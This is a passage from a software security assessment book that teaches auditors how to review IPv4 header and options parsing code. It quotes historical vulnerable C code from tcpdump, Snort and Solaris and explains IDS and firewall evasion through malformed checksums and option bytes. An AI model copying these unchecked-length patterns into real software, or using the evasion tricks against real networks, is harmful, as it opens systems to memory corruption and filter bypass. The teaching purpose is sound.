a network. These tools provide not only packet interpretations, but also statistical data based on protocol analysis. They are often required to simply interpret packets and optionally log some sort of information, as opposed to acting on packets as other products do. The codebases for performing packet analysis at this level are generally quite large, so auditors faced with reviewing these codebases might consider it an insurmountable task. This chapter has been included to give code reviewers a primer on some major protocols within a standard TCP/IP suite and to highlight some of the problem areas where mistakes are most likely to be made. You learn how to audit several major components of IP stacks and use the knowledge you gained in Part II(? [????.]), "Software Vulnerabilities," of this book. Although firewall technologies aren't The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 840 covered in depth until Chapter 15(? [????.]), many of the concepts in this chapter are essential for understanding how firewalls make policy decisions and what possible evasion techniques exist for circumventing them. 8.1.2 Internet Protocol Internet Protocol (IP) is the core network-layer protocol of the TCP/IP protocol suite. It's a pervasive protocol, used by innumerable hosts worldwide to deliver data across the Internet and private networks. It provides an infrastructure so that computers can locate each other with unique identifiers (IP addresses) and exchange blocks of data (known as IP datagrams). IP is designed to abstract the physical details of networking hardware so that communication can happen more or less seamlessly. At the level immediately below IP, you find protocols targeted to specific networking hardware, such as Ethernet and token ring. Sitting on top of IP, you find protocols such as TCP that provide features such as ports, connections, and reliable delivery of data. Naturally, any host participating in a TCP/IP based network must be able to correctly process incoming IP datagrams. The host performs this processing immediately upon reception of a packet, and makes decisions on how the packet should be handledwhether that includes passing it to a higher-level protocol handler in the network stack (such as TCP or UDP), signaling an error because the packet cannot be processed, or blocking the packet because it fails to meet criteria of a firewall or other similar data inspection software. Because of the placement of IP in the network stack and the role it plays, it is an attractive strategic target for attackers trying to penetrate a system or network. They can target errors in processing IP datagrams to exploit devices and hosts, or attempt to fool security systems (firewalls, IDSs, IPSs) by leveraging some of the unusual nuances of IP stacks. A large codebase dealing entirely with untrusted user data received from a remote location is always a prime candidate for code reviewers because it represents a major attack surface. Before you dive into how to audit IP processing code, you should briefly review the basics of how IP works. As mentioned, the discussion in this chapter is specific to IP version 4commonly written as IPv4. Interested readers can get a more comprehensive analysis from several sources on the subject, particularly RFC 791 (www.ietf.org) and TCP/IP Illustrated, Volume 1 by W. Richard Stevens (Addison-Wesley, 1994(? [????.])). IP Addressing Primer The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 841 Identifying weaknesses in IP processing code is more than just finding low-level flaws such as integer wraps or buffer overflows; you also must recognize logic problems with how traffic is processed. This requires a good working knowledge of how basic routing is performed, so that you can assess how potentially dangerous packets arrive at a destination, and where they can originate from. As such, the following paragraphs are dedicated to providing a brief examination of the IP routing facilities present on a typical host. To communicate with other hosts on a network, a machine must have at least one network interface. A network interface is simply a network device that contains a unique hardware address and can be used to send and receive data over a network. A network interface is a software abstraction provided by the OS kernel in that it's a virtual device, though it obviously must be associated with a physical network device if you expect to send data to external nodes. Although it is possible to have several interfaces associated with a single network hardware device, the most common configuration for a standard host is to have just one interface per network device. Having multiple interfaces tied to the same network device is useful in a number of situations, such as establishing virtual networks over existing connected networks, or when a single machine needs to have more than one IP address on a network (perhaps because it's hosting a virtual machine). On an IP network, each connected interface has an IP address, which is a 32-bit value that uniquely identifies a host on the network that they are connected to. An IP address can be further broken down into two variable length bitfieldsa network ID and a host ID. The network ID indicates the sub-network (commonly called the subnet) that the host belongs to, and the host ID uniquely identifies the host on that particular network. Historically, the IP address space was broken down into several classes, and an IP address's network ID was determined by which class it belonged to. Classes predate the classless subnetting used today, but they are still relevant in some circumstances because certain classes are reserved for special use. The five address classes, class A through class E, are summarized here:  Class A a class A address has the most significant bit of the IP address set to 0, followed by 7 bits indicating the network ID. Thus, there are 24 bits remaining for host IDs, allowing for a large number of hosts to exist on the class A network (16, 777, 216 to be precise, although, as you see shortly, some IPs are reserved for special use).  Class B class B IP addresses start with the leading bits "10", followed by a 14-bit network ID. This leaves 16 bits for host IDs, making class B's considerably smaller than class A networks (although there can be more class B's, because the network ID is larger).  Class C class C IP addresses begin with the leading bits "110" and have 21 network ID bits following. The host ID is therefore only 8 bits, so they are The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 842 much smaller than class B networks, with only 256 unique IP addresses available on each class C.  Class D class D IP addresses begin with the leading bits "1110" but have no following network ID bits. Class D IP addresses are especially reserved as multicast addresses. A multicast address allows a single IP address to refer to multiple hosts. You revisit multicast addresses at various stages throughout this chapter and Chapter 15(? [????.]).  Class E class E addresses begin with the leading bits "1111" and also have no following network ID bits. Class E is for experimental use and should not be routed. The problem with using address classes is that there are only a limited number of networks available, a number of which are reserved for various special purposes. Furthermore, the fixed-size IP address classes might not be appropriately sized for certain networks. For example, if you had 280 nodes on a network, you have just a few too many for a class C, but are only using up a fraction of a class B. As such, today's IP implementations allow for arbitrary sized network IDs. The network ID for an IP address is determined by the network mask (also known as the subnet mask, or netmask), which simply indicates which bits of the IP address are reserved for the network ID. Network masks can be expressed in one of two ways; in netmask notation or in classless inter domain routing (CIDR) notation. Netmask notation involves writing a hosts IP address followed by a bitmask with every network ID bit set to 1 and every host ID bit set to 0. For example, if you had the IP address 192.168.2.100 and the first 24 bits were used to specify the network ID, it would be written as 192.168.2.100/255.255.255.0. With CIDR notation, you express the netmask by writing the IP address followed by the size in bits of the network ID. Returning to our previous example of 192.168.2.100 with a 24 bit network ID, it would be written as 192.168.2.100/24. The network ID is used to subclass the entire IP address space into smaller, more manageable sub-networks. Breaking down networks this way enforces hierarchy upon the otherwise unstructured address space and eases the job of routing packets by keeping tables of network ranges rather than tables of individual nodes, as you will see shortly. So, IP networks are subdivided into subnets, which are groups of hosts that share the same subnet mask and network ID. All hosts in a subnet can talk to each other through the data link layer. Lower-level protocols such as the Address Resolution Protocol (ARP) help machines map data-link layer addresses to IP addresses so that they can figure out how to talk to machines on the same subnet. ARP is an integral part of the TCP/IP suite, and interested readers are encouraged to read more about it at http://en.wikipedia.org/wiki/Address_Resolution_Protocol, or from RFC 826 (www.ietf.org/rfc/rfc0826.txt?number=). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 843 A typical IP machine has one active interfaceone connection to a network. Machines that form the routing infrastructure of IP networks have more than one interface and are responsible for routing packets between their interfaces. These machines are called gateways or routers. If a machine wants to send an IP datagram, it looks at its routing table, which has a list of simple rules. In general, a host can directly send packets only to another host in the same subnet. If a computer wants to talk to another computer in the same subnet, its routing table tells it which interface to send the packet out on. If a computer wants to talk to a host on another subnet, its routing table tells it which computer on its subnet is responsible for routing packets to the destination subnet. Naturally, the process is more complex in large networks, but this description is the basics of how packets move across the Internet. Several special IP addresses are quite important from a security perspective. Say your IP address is 10.20.30.40, and your network mask is 255.255.255.0. This means your subnet contains the 256 addresses between 10.20.30.0 and 10.20.30.255. 10.20.30.0 is called the subnet address, and any packet sent to that address is usually picked up by a subset of the hosts in the network. The address 10.20.30.255 is the directed subnet broadcast address, and packets destined there are picked up by all hosts in the subnet. The special address 255.255.255.255 also functions as a subnet broadcast address for the sender's local subnet. The security implications of these addresses are addressed in the discussion of firewall spoofing attacks in Chapter 15(? [????.]). IP Packet Structures The basic transmission unit for sending data using IP is the IP packet. An IP packet is a discrete block of data prepended with a header that contains information necessary for routing the packet to the appropriate destination. The term IP datagram is often used interchangeably with IP packet, and they are effectively synonymous. An IP datagram can be fragmented into smaller pieces and sent to the destination as one or more fragments. These fragmented packets are reassembled at the destination into the original IP datagram. The basic header definition for an IPv4 packet is shown in Figure 14-1. The IP packet header defines a small set of data elements (fields) used to help deliver the packet to its specified destination. The following list describes these fields:  IP version (4 bits) This field specifies the IP version of the datagram being transmitted. You're primarily concerned with IP version 4, as it's the version used on most IP networks. IP version 6, the next version of the IP protocol, has been in development for some time and now is supported by most OSs and some auxiliary products but is not discussed in this chapter. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 844  Header length (4 bits) This field specifies the length of the IP header in 32-bit, 4-byte words. A standard IP header is 20 bytes long, which gives this field a normal value of 5. Variable-length optional data elements can be included at the end of the IP header, extending its length to a maximum of 60 bytes (making the header length 0x0F).  Type of service (TOS, 8 bits) The TOS field defines attributes of the requested quality of service. Most modern IP stacks effectively ignore this field.  Total length (16 bits) This field defines the size of the datagram being transmitted in bytes. It includes the number of bytes in the IP header and the number of bytes following the header that constitute the data portion of the packet. Therefore, the amount of data an IP packet is delivering can be calculated as its header length subtracted from its total length.  IP identification (16 bits) This field contains a unique identifier for the datagram. Its primary purpose is to identify a series of IP packets as all being part of the same IP datagram. In other words, if an IP datagram is fragmented in transit, all the resulting IP fragments have the same IP ID.  Flags (3 bits) The flag bits are used for fragmentation processing. There are two flags (and one reserved bit). The DF (don't fragment) flag indicates that the packet must not be fragmented. The MF (more fragments) flag indicates that more fragments on their way to complete the IP datagram.  Fragment offset (13 bits) This field indicates where the data in this IP packet belongs in the reassembled IP datagram. It's specified in 64-bit, 8-byte chunks, with a maximum possible value of 65528. This field is explained in more detail in "Fragmentation" later in this chapter.  Time to live (TTL, 8 bits) This field indicates how many more routers the datagram can pass through before it's discarded and an error is returned to the sender. Each intermediate machine that routes an IP packet decrements the packet's TTL. If the TTL reaches 0, the packet is discarded and an ICMP error message is sent to the originator. This field is used mostly to ensure that packets don't get caught in routing loops, where they bounce between routers in an infinite loop.  Protocol (8 bits) This field indicates the protocol of the data the packet is delivering. Typically, it specifies a transport-layer protocol (such as UDP or TCP), but it can also specify a tunneling protocol, such as IP packets encapsulated inside IP (IPIP), or IPv6 over IPv4, or an error or control protocol, such as Internet Control Message Protocol (ICMP).  Header checksum (16 bits) This field is a 16-bit ones complement checksum of the IP header (along with any options that are included). It's used to ensure that the packet hasn't been modified or corrupted in transmission.  Source IP address (32 bits) This field indicates the sender of the datagram. This information isn't verified, so it's possible to forge datagrams to make it look as though they come from a different source. The ability to forge datagrams is widely considered a major security shortcoming in IP version 4. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 845  Destination IP address (32 bits) This field specifies the destination of the datagram. IP addresses generally denote a single destination host, although some special addresses can be interpreted as broadcast or multicast destinations. Figure 14-1. IPv4 header diagram Basic IP Header Validation Before software can safely work with an IP datagram, the fields that make up the IP header need to be validated to ensure that the packet is legitimate. If IP processing code fails to adequately check the fields within an IP header, it will most likely be exposed to a range of potential problems. The consequences of insufficient validation depend on where the IP processing code resides in the system; failures in kernel mode processing or in embedded devices tend to have more dramatic effects than failures in userland processes. These effects can range from memory management related problems (such as a crash of the application or device, or even exploitable memory corruption conditions) to passing packets up to higher layers in ways that can cause problems with state and, ultimately, system integrity. The following sections examine some common points of inquiry. Is the Received Packet Too Small? Typically, an IP datagram is passed to the IP stack from a lower-level networking layer that hands over the data for the packet in a buffer and states how many bytes of data are in the packet. Before this data can be processed as though it's a valid IP header, you have to make sure you get at least 20 bytesthe minimum size of a valid IP header. If an implementation overlooks this check, it's likely to read memory that isn't a legitimate part of the packet. This oversight normally wouldn't lead to a major security impact The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 846 unless perhaps the data is read from an unmapped page, generating a memory access violation. In the worst-case scenario, however, the IP processing code neglects to check the packet size at all, and then uses it in a way that's vulnerable to numeric overflows. For example, consider the following packet sniffer. (The author's name has been omitted because the example is old and no longer in use.) void do_pcap(u_char * udata, const struct pcap_pkthdr * hdr, const u_char * pkt) { if (hdr->caplen < ETHER_HDR_LEN) return; do_ethernet(pkt, hdr->caplen); } This code is a standard pcap callback function. The pkt parameter points to the packet data, and the hdr->caplen value is the amount of data taken from the network. The code ensures there's enough packet data for an Ethernet header, and then calls this function: int do_ethernet(const u_char * pkt, int length) { char buffer[PCAP_SNAPLEN]; struct ether_header *eth = (void*) pkt; u_char *ptr; int i; if (ntohs(eth->ether_type) != ETHERTYPE_IP) return 0; memcpy(buffer, pkt + ETHER_HDR_LEN, length - ETHER_HDR_LEN); ... code edited for brevity ... return do_ip((struct ip*)buffer, length - ETHER_HDR_LEN); } The preceding code copies the Ethernet payload into a buffer and calls do_ip(), passing that buffer and the length of the payload. Here's the code for do_ip(): int do_ip(const struct ip * ip, int length) { char buffer[PCAP_SNAPLEN]; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 847 int offset = ip->ip_hl << 2; printf("LAYER_3 -> IPv %d\t", ip->ip_v); printf("sIP %s\t", inet_ntoa(ip->ip_src)); printf("dIP %s\t", inet_ntoa(ip->ip_dst)); printf("protokols %d\n", ip->ip_p); memcpy(buffer, (void*)ip + offset, length - offset); switch(ip->ip_p) { The do_ip() function calculates offset, which is the IP header length field taken from the packet. At this point, it could be almost anything you wanted. The code then copies length offset bytes to another local stack buffer. Assume you make ip_hl the normal value of 5 so that offset is 20. If you have sent only 10 bytes of Ethernet payload, the memcpy()s count argument is -10, thus resulting in a large copy into the destination buffer. A vulnerability of this nature has only a limited impact, as these types of packets usually aren't routable and, therefore, can be sent only on a local network segment (unless the packet is encapsulated, an issue discussed in Chapter 15(? [????.]), "Firewalls"). Does the IP Packet Contain Options? IP packets have a variable-length header that can range between 20 and 60 bytes. The header size is specified in the first byte of the IP packet by the IP header length field. IP headers are usually just 20 bytes in length and have no options attached. IP processing code can't just assume the header is 20 bytes, however, or it will run into trouble quickly. For example, many password sniffers used to read data from the network into the following structure: struct etherpacket { struct ethhdr eth; struct iphdr ip; struct tcphdr tcp; char data[8192]; }; The sniffers would then parse packets by looking at the ip and tcp structures. However, this processing worked only for the minimum length ip and tcp headers, both 20 bytes. Packets with any options set in IP or TCP aren't decoded correctly, and the sniffer will misinterpret the packet. For example, if the IP header has options attached, they will mistakenly be interpreted as the next layer protocol header (in this The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 848 case, TCP). Therefore, the sniffer will see the packet with totally different TCP attributes than it really has. Is the IP Header Length Valid? Certain values for the IP header length are invalid and might cause problems if they're not accounted for correctly. Specifically, the IP header must be at least 20 bytes, so the IP header length must be at least 5 (recall that it's multiplied by 4 to get the actual IP header size). Any value less than 5 is invalid. For an example of this problem, look at an excerpt of code from an older version of the tcpdump utility: /* * print an IP datagram. */ void ip_print(register const u_char *bp, register u_int length) { register const struct ip *ip; register u_int hlen, len, off; register const u_char *cp; ip = (const struct ip *)bp; ... code edited... hlen = ip->ip_hl * 4; ... code edited... if ((hlen -= sizeof(struct ip)) > 0) { (void)printf("%soptlen=%d", sep, hlen); ip_optprint((u_char *)(ip + 1), hlen); } When ip_print() is called, tcpdump calculates the header length, hlen, by multiplying ip_hl by 4, but it doesn't check whether ip_hl is at least 5 to begin with. Then it checks to make sure (hlen -= sizeof(struct ip)) is higher than 0. Of course, this check would prevent an underflow if hlen wasn't an unsigned integer. However, because hlen is unsigned, the result of this expression is a very large positive number. As a result, the validation check is passed, and the ip_optprint() function is given an infinite amount of memory to analyze. Is the Total Length Field too Large? The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 849 After enough data has been read in to obtain the IP header, IP processing code needs to examine the total length field. This value specifies the length in bytes of the total IP packet, including the header. The code must verify that enough packet data has been received from the network to match the total length specified in the IP header. If there isn't enough data in the packet to match this length, the program runs the risk of reading past the received packet contents into adjacent memory locations. Are All Field Lengths Consistent? Three different lengths are at play in an IP header: the amount of data received from the network, the length of the IP header specified in the header length field, and the length of the total packet specified in the total length field. These fields must be consistent, and the following relationships must hold: IP header length <= data available 20 <= IP header length <= 60 IP total length <= data available IP header length <= IP total length Failure to enforce any of these conditions is likely to have consequences in the form of memory corruption due to integer wrapping problems. For example, consider what happens if the header length field is set to an invalid value in relation to the total length field. The total length field must specify that the packet is at least as many bytes as the header length field, because it makes no sense to have an IP header that is larger than the total IP packet length. A good example of a malformed packet is one with a header length of 60 bytes, but a total length of 20 or fewer bytes. Take a look at this example: int process_ip_packet(unsigned char *data) { unsigned int header_length, total_length, data_length; struct iphdr *iph; ... iph = (struct iphdr *)data; header_length = ntohs(iph->hl); total_length = ntohs(iph->tot_len); data_length = total_length header_length; ... validate ip header ... The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 850 switch(iph->protocol){ case IPPROTO_TCP: return process_tcp_packet(data + header_length, data_length); ... If the total length is smaller than the header length, the data_length value underflows and the process_tcp_packet() function thinks the packet's data length is huge (around 4GB). Invariably, this error leads to memory corruption or an attempt to access data out of bounds (probably when performing a TCP checksum, as the code tries to checksum around 4GB of data). Now take a look at a real-world example to see whether you can spot the oversights in it. This code is from the 1999-era Snort 1.0, which has been edited slightly for brevity: void DecodeIP(u_char *pkt, const int len) { IPHdr *iph; /* ip header ptr */ u_int ip_len; /* length from the start of the ip hdr to the pkt end */ u_int hlen; /* ip header length */ /* lay the IP struct over the raw data */ iph = (IPHdr *) pkt; /* do a little validation */ if(len < sizeof(IPHdr)) { if(pv.verbose_flag) fprintf(stderr, "Truncated header! (%d bytes)\n", len); return; } So far, so good. There are checks in place to ensure that the packet has at least 20 bytes of data from the network before the code proceeds much farther. Next, the code makes sure the packet has at least as many bytes as are specified in the IP header: ip_len = ntohs(iph->ip_len); if(len < ip_len) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 851 { if(pv.verbose_flag) { fprintf(stderr, "Truncated packet! Header says %d bytes, actually %d bytes\n", ip_len, len); PrintNetData(stdout, pkt, len); } return; } The IP header looks valid so far, so IP options are parsed (if present): /* set the IP header length */ hlen = iph->ip_hlen * 4; if(hlen > 20) { DecodeIPOptions( (pkt + 20), hlen - 20); } Uh-oh! The code hasn't checked to make sure the packet has enough bytes to contain hlen and hasn't checked to see whether the total length is big enough to contain hlen. The result is that DecodeIPOptions() reads past the end of the packet, which probably isn't too catastrophic. Continuing on: /* check for fragmented packets */ ip_len -= hlen; pip.frag_off = ntohs(iph->ip_off); /* move the packet index to point to the transport layer */ pktidx = pktidx + hlen; switch(iph->ip_proto) { case IPPROTO_TCP: net.proto = IPPROTO_TCP; strncpy(pip.proto, "TCP", 3); DecodeTCP(pktidx, len-hlen); return; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 852 This code has several problems, including the following:  ip_len can be anything, as long as it's not higher than the amount of data available. So it could be less than 20, greater than 20 but less than the header length, or greater than the header length but less than the amount of data available.  In fact, Snort ignores ip_len entirely, instead using the amount of data read from the network for its calls to upper-layer functions, such as DecodeTCP().  If ip_hlen is less than 5 (and, therefore, hlen is less than 20), the packet decoding starts reading the TCP header inside the IP header. At least it won't try to decode options.  If ip_hlen is greater than ip_len and also greater than 20, the code decodes IP options that are past the packet's boundaries. In other words, the DecodeIPOptions() function attempts to interpret undefined memory contents as IP options.  If ip_hlen is greater than the amount of data available, all the length calculations are going to underflow, and the TCP decoder assumes there's a 4GB TCP packet. Is the IP Checksum Correct? The IP checksum is used as a basic mechanism to ensure that the packet header hasn't been corrupted en route. When the IP stack receives a new packet, it should verify that the checksum is correct and discard the packet if the checksum is erroneous. Any IP processing code that fails to do this verification is interpreting packets that should be ignored or dropped. It's rare to find code that fails to verify the checksum; however, this error might surface occasionally in packet-sniffing software. Although accepting a packet erroneously has a fairly minimal impact in this context, it might prove useful for attackers trying to evade intrusion detection. Attackers could send a packet that looks like it closes a connection (such as a TCP packet with the FIN or RST flags set) so that when the packet sniffer sees it, it stops monitoring the connection. The end host, however, silently ignores the packet with the invalid checksum. This result is more interesting in TCP checksums because those packets are routed. IP Options Processing IP options are optional variable-length elements that can be added to the end of an IP header to convey certain information from the sender to the destination (or intermediate routers). Options can modify attributes of the packet, such as how the datagram should be routed and whether timestamps should be added. A maximum of The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 853 40 bytes of IP options can be appended to an IP header (making the maximum total IP header size 60 bytes). Note The header length field is 4 bits and represents the IP header's length in 32-bit words. So the maximum value it can have is 0x0F (or 15), which multiplied by 4 gives 60. Before you look at what IP options are available, here's the basic structure of an IP option: struct ip_options { unsigned char option; unsigned char optlen; unsigned char data[0]; }; An IP option is typically composed of a one-byte option type specifying what the option is, a one-byte length field, and a variable-length data field. All options have this format (except two, explained shortly in this section). Note The option byte is actually composed of three fields, as shown: struct optbyte { unsigned char copied:1; unsigned char class:2; unsigned char option:5; }; The top bit indicates whether the option is copied into each fragment (if fragmentation occurs), and the next two bits indicate what class the IP option is. RFC 791 (www.ietf.org/rfc/rfc0791.txt?number=) lists these available options: 0 - Control 1 - Reserved for future use 2 - Debugging and measurement 3 - Reserved for future use The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 854 IANA gives a complete list of the classes each option belongs to (www.iana.org/assignments/ip-parameters). The last five bits indicate the actual option. Most implementations ignore that the option byte has several fields and just treat it as just a one-byte option field. Given this information, you can begin applying your knowledge from Part II(? [????.]) on variable relationships and type conversions to start locating potential problems. (The one-byte option length is related to the IP header length and, indeed, the IP total length.) The following sections cover some typical mistakes that can be made when dealing with these structures. Is the Option Length Sign-Extended? The IP options field is a single byte, and it's not unusual for code processing IP options to store that length field in an integer, which is a larger data type. As you learned in Chapter 6(? [????.]), "C Language Issues," these assignments cause a promotion of the smaller type (byte) to the larger type (integer) to store the length value. Furthermore, if the length byte is treated as signed, the assignment is value preservingin other words, it's sign extended. This assignment can lead to memory corruption (such as large data copies) or incorrect advancement of a pointer cycling through IP options, which can have varying consequences depending on how the code works. You see a real-world example of this problem in "TCP Options Processing(? [????.])" later in this chapter; TCP options have a nearly identical structure to IP options. Is the Header Big Enough to Contain the IP Option? An IP option is at least two bytes, except for the "No Operation" (NOP) option and the "End of Options List" (EOOL, or sometimes just shortened to EOL). Many options have further requirements for minimum length; a source routing option needs to be at least three bytes, for example. Sometimes IP option processing code fails to verify that these minimum length requirements are met, which often leads to either reading undefined memory contents or possibly memory corruption due to integer boundary conditions. Consider the following example: int process_options(unsigned char *options, unsigned long length) { unsigned char *ptr; int optlen, opttype; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 855 for(ptr = options; length; length -= optlen, ptr += optlen){ if(*ptr == IPOPT_NOP){ optlen = 1; continue; } if(*ptr == IPOPT_EOL) break; opttype = ptr[0]; optlen = ptr[1]; if(optlen > length) goto err; switch(opttype){ ... process options ... } } } This code cycles through options until no more are left to process. There's a slight problem, however; no check is done to ensure that at least 2 bytes are left in the buffer before the opttype and optlen values are populated. An options buffer could be constructed such that only one byte is left in the buffer when processing the final option, and the optlen byte would read out-of-bounds memory. In this situation, doing so probably wouldn't be useful (as the length check after the byte is read would ensure that the loop doesn't start skipping farther out of bounds). Code like this that processes specific options, however, can be quite dangerous because some options are modified as they are processed, and memory corruption might be possible. Is the Option Length Too Large? The variable relationship between the IP header length, IP total length, and each IP option length field specifies that the following must hold true: Offset of IP option + IP option length <= IP header length Offset of IP option + IP option length <= IP total length When reviewing IP options processing, you must ensure that the code guarantees this relationship. Failure to do so could result in the code processing uninitialized memory, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 856 and cause memory corruption because some IP options require modifying data within the IP option itself (primarily the timestamp and source routing options). Does the Option Meet Minimum Size Requirements? As mentioned, an IP option consists of a one-byte option type and a one-byte option length followed by some variable-length data. The option length specifies the total size of the option including the length byte and type byte, so it's required to hold a minimum value of two. Code that processes options and doesn't enforce this minimum value can end up with some unique problems, as shown in the following code: int process_options(unsigned char *options, unsigned long length) { unsigned char *ptr; int optlen, opttype; for(ptr = options; length; length -= optlen, ptr += optlen){ if(*ptr == IPOPT_NOP){ optlen = 1; continue; } if(*ptr == IPOPT_EOL) break; if(length < 2) break; opttype = ptr[0]; optlen = ptr[1]; if(optlen > length) goto err; switch(opttype){ ... process options ... } } } This code correctly ensures that the length in the IP option isn't larger than the total amount of IP option bytes specified in the IP header. However, it fails to make sure it's The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 857 at least 2. Supplying a value of 0 for an IP option length causes this code to enter an infinite loop. Additionally, if an IP option length of 1 is given, the next option begins where the length byte of the current option should be. This error can also have varying consequences, depending on how the code following the validation failure performs options processing. Are IP Option Bits Checked? The IP option byte is actually composed of a number of bit fields, but most implementations ignore the separate fields and treat the byte as a single value. So any implementation that actually parses the IP option byte by masking off the option bits could expose itself to potential misinterpretations of an option's meaning. To understand the problem, take a look at this example: #define OPTVALUE(x) (x & 0x1F) int process_options(unsigned char *options, size_t len) { unsigned char *optptr, *optend = options + len; unsigned char optbyte, optlen; for(optptr = options; optptr < optend; optptr += optlen){ optbyte = *optptr; if(OPTVALUE(optbyte) == EOL) break; if(OPTVALUE(optbyte) == NOP){ optlen = 1; continue; } optlen = optptr[1]; if(optlen < 2 || optptr + optlen >= optend) goto err; switch(OPTVALUE(optbyte)){ case IPOPT_LSRR: ... } } } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 858 The problem is that even though this code is correctly masking the option byte to get the lower 5 bits, the other bitfields should also be set a certain way depending on the option value. In fact, IP options are defined by the Internet Assigned Numbers Authority (IANA) by their option value as well as the other bitfield values associated with that option, and so ignoring other bitfields is technically a mistake. Note Interested readers can view the IANA IP Options List at www.iana.org/assignments/ip-parameters. To understand why this is a problem, consider a scenario where this code is in a firewall that is attempting to strip out source routing options (LSRR and SSRR). The code iterates through each option looking for the LSRR or SSRR option and then terminates when it sees the EOL option (0x00). However, only the bottom 5 bits are checked. This contrasts with how end hosts process the same optionsthey will also continue processing until encountering what they think is an EOL option, but end hosts define an EOL as an option with all 8 bits set to 0. So if the option value 0x80 is present in the packet, the firewall would interpret it as an EOL option, and the end host just assumes it's some unknown option and continues processing more option bytes. The result is that you could supply an IP option with the option value 0x80 with a valid source routing option following it, and the firewall wouldn't catch it. Now consider this code in a client host with the same requirementsa firewall having to strip out source routing options. In this case, the firewall is looking for an 8-bit source routing option, such as 0x89. If the value 0x09 is sent, the firewall treats it as an unknown option, and the end host sees it as a source route because it has masked off the top three bits. Unique Problems As always, lists of typical errors aren't exhaustive, as unique implementations can bring about unique problems. To illustrate, this section presents an example that was present in the Solaris 8 IP stack. The Solaris code for processing IP options for datagrams destined for a local interface had an interesting problem in the way it calculated the options length. A code snippet is shown: #define IP_VERSION 4 /* edited for brevity */ #define IP_SIMPLE_HDR_LENGTH_IN_WORDS 5 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 859 uint8_t ipoptp_first(ipoptp_t *optp, ipha_t *ipha) { uint32_t totallen; /* total length of all options */ totallen = ipha->ipha_version_and_hdr_length - (uint8_t)((IP_VERSION << 4) + IP_SIMPLE_HDR_LENGTH_IN_WORDS); totallen <<= 2; optp->ipoptp_next = (uint8_t *)(&ipha[1]); optp->ipoptp_end = optp->ipoptp_next + totallen; optp->ipoptp_flags = 0; return (ipoptp_next(optp)); } This code treats the first two fields of the IP header as a single field with two components, which isn't uncommon, as both fields occupy four bits in the same byte. However, when the code obtains the IP header length from this byte, it does so by subtracting the standard IP version value (which is 4, and because it occupies the high four bits in this byte, 0x40) from the byte, as well as the static value IP_SIMPLE_HDR_LENGTH_IN_WORDS, defined elsewhere as 5. In essence, the developer assumes that subtracting the static value 0x45 from the first byte of the IP header will leave you with the size of the IP options trailing the basic header. Not masking off the version field is a dangerous practice though; what if the IP version is 15 (0xF)? The code's calculation could erroneously conclude that 744 bytes worth of IP options are appended to the IP header! Of course, a sanity check earlier in the code ensures that the size of the packet received is at least the size specified in the total length and header length fields. However, this other sanity check is done differentlyit does mask off the header length field correctly, so this mistake can lead to processing random bytes of kernel memory (and certain IP options can be used to corrupt kernel memory). Alternatively, setting the IP version to 0 (or any value less than 4), causes the option length calculation to yield a negative result! This result causes a kernel crash because the IP checksum is validated before IP options are processed, so the code checksums a large amount of memory and eventually tries to access a location out of bounds. Note Actually, an examination of the code shows that an IP version of 0 causes an underflow but does not result in a large checksum. However, the code shown is from an updated version of Solaris. Earlier versions performed a very large checksum if the IP version was 0, 1, 2, or 3. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 860 IP packets with an incorrect version probably aren't routed. Even if they are, they wouldn't make it through some earlier processing code in the Solaris IP stack. However, Solaris by default processes IP packets encapsulated in IP packets if the inner IP packet has the same source and destination as the outer IP packet. In this case, the inner packet is delivered locally, and the version is never verified on the inner IP packet. Again, earlier versions of Solaris were vulnerable to this attack but sanity checks are now performed on the version of encapsulated IP packets. Source Routing IP is a connectionless protocoldatagrams can be routed to a destination in any way that intermediate routing devices see fit. The source routing options give the sender some control over the path a packet takes. There are two kinds of options: loose source and record route (LSRR) and strict source and record route (SSRR). Both contain a list of IP addresses the packet should travel through on its way to the destination. The SSRR option provides the exact list of routers the packet should traverse when it makes its way from the source to the destination. These routers have to be directly connected to each other, and the path can't omit any steps. This option is fairly impractical because of the maximum size of the IP header; a packet could specify only nine steps in a path, which isn't many. The LSRR option, however, simply lists the routers the packet should pass through on its way to the destination. These routers don't have to be directly connected, and the packet can pass through other routers as it follows the path outlined in the option. This option is more flexible because it allows the intermediate routers to figure out the path to the each subsequent hop on the list. Processing Both source routing options contain the list of IP addresses and a pointer byte, which specifies the offset in the option where the next intermediate hop is. Here's how source routing options work: 1. The destination IP address of the IP header is set to be the first intermediate hop. 2. When that destination is reached, the next intermediate hop is taken out of the IP option and copied over the destination address, and the pointer byte is advanced to point to the next hop in the option 3. Step 2 is repeated until the final destination is reached. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 861 The pointer byte is related to the option length (and to the IP header length and total length) because it's supposed to point inside the option, not before or after. When auditing code that processes source routes, you should ensure that the pointer byte is within the specified bounds, especially because during processing, an IP option often modifies bytes the pointer is pointing at. Also, like the IP option length, the pointer is a single-byte field, which means type conversions such as the following could be performed on it: char *optionbytes; int offset; offset = optionbytes[2]; Code auditors need to be aware of possible sign extensions that could cause the offset integer to take on a negative value and have the offset point into a previous option, the IP header itself, or before it somewhere in memory. Such an invalid access can have serious consequences, including memory corruption, unexpected packet rerouting, or invalid memory access. Additionally, it is quite easy for developers to forget to adequately validate the length of routing options when constructing code designed to handle them, which can lead to accessing memory out of bounds. This error is especially significant for source routing options because the offset byte is often modified during options processing, when it's updated to point to the next element in the list. To give you an idea of some of the options processing bugs 